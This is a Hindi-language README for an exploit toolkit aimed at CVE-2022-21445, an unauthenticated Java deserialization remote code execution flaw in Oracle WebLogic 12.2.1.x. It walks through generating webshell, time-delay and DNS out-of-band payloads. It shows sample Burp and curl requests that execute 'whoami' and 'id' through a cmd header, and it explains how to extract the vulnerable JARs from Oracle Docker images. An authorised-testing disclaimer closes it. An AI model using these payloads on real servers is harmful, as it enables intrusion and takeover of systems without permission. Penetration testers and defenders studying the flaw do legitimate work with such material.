
Oracle Weblogic 12.2.1.X के CVE-2022-21445 के लिए Exploit
यह टूलकिट CVE-2022-21445 के लिए एक्सप्लॉइट पेलोड जनरेट करता है, जो Oracle ADF Faces चला रहे Oracle WebLogic Server 12.2.1.x को प्रभावित करने वाली एक गंभीर Java डिसीरियलाइज़ेशन कमज़ोरी है।
यह दोष RemoteApplicationResourceLoader घटक में मौजूद है और एक हमलावर को विशेष रूप से तैयार किया गया HTTP GET रिक्वेस्ट भेजने की अनुमति देता है जो असुरक्षित डिसीरियलाइज़ेशन को ट्रिगर करता है। सफल शोषण से टारगेट सर्वर पर बिना प्रमाणीकरण के रिमोट कोड एक्ज़ीक्यूशन (RCE) हो सकता है।
| आवश्यकता | संस्करण | उद्देश्य |
|---|
| Python | 3.6+ | एक्सप्लॉइट स्क्रिप्ट चलाने के लिए |
| JDK | 1.8 (8u202 अनुशंसित) | Java पेलोड जनरेटर को कंपाइल और चलाने के लिए |
| Weblogic | 12.2.1.X | कमजोर संस्करण |
टारगेट के Java रनटाइम से मेल खाने के लिए पेलोड को अनिवार्य रूप से JDK 1.8 के साथ कंपाइल किया जाना चाहिए।
# Use SDKMAN:
sdk install java 8.0.402-tem
# Select the java 8
sudo update-alternatives --config java
java -version # Should show 1.8.x
javac -version # Should show 1.8.x
एक पेलोड बनाता है जो cmd HTTP हेडर से कमांड पढ़ता है और रिस्पॉन्स बॉडी में आउटपुट लौटाता है।
python3 exploit.py --version 12.2.1.4 --type webshell
आउटपुट:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
ब्लाइंड टेस्टिंग के लिए — यदि रिस्पॉन्स में देरी होती है तो कोड एक्ज़ीक्यूशन की पुष्टि होती है।
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
पेलोड भेजें और रिस्पॉन्स समय मापें:
Burp Collaborator या इसी तरह की सेवाओं का उपयोग करके आउट-ऑफ-बैंड पुष्टि के लिए।
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
सही होस्ट और कॉन्टेक्स्ट पाथ के साथ फॉर्मेटेड आउटपुट पाने के लिए --target का उपयोग करें:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
यह Burp रिक्वेस्ट और curl कमांड को सही होस्ट और पाथ के साथ फॉर्मेट करता है:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd हेडर का मान बदलें
यदि Jar फ़ाइलें खराब (broken) हैं, तो कृपया वांछित Weblogic संस्करण स्थापित करने और संबंधित Jars निकालने के निर्देशों का पालन करें।
यह आधिकारिक FMW Infrastructure Docker इमेज से आवश्यक Oracle JARs निकालता है।
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3
# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)
# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
नोट:
javax.mailJAR (MIME बेस64 एन्कोडिंग के लिए आवश्यक) पहली बार चलाने पर Maven Central से स्वचालित रूप से डाउनलोड हो जाता है। किसी मैन्युअल सेटअप की आवश्यकता नहीं है। वेबशेल पेलोड शुद्ध रिफ्लेक्शन का उपयोग करता है और कंपाइल समय परweblogic.jarकी आवश्यकता नहीं होती।
यह टूल केवल अधिकृत सुरक्षा परीक्षण के लिए है। ऐसे सिस्टम का परीक्षण करने से पहले हमेशा लिखित अनुमति प्राप्त करें जिनके आप स्वामी नहीं हैं। किसी भी दुरुपयोग के लिए लेखक जिम्मेदार नहीं हैं। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है।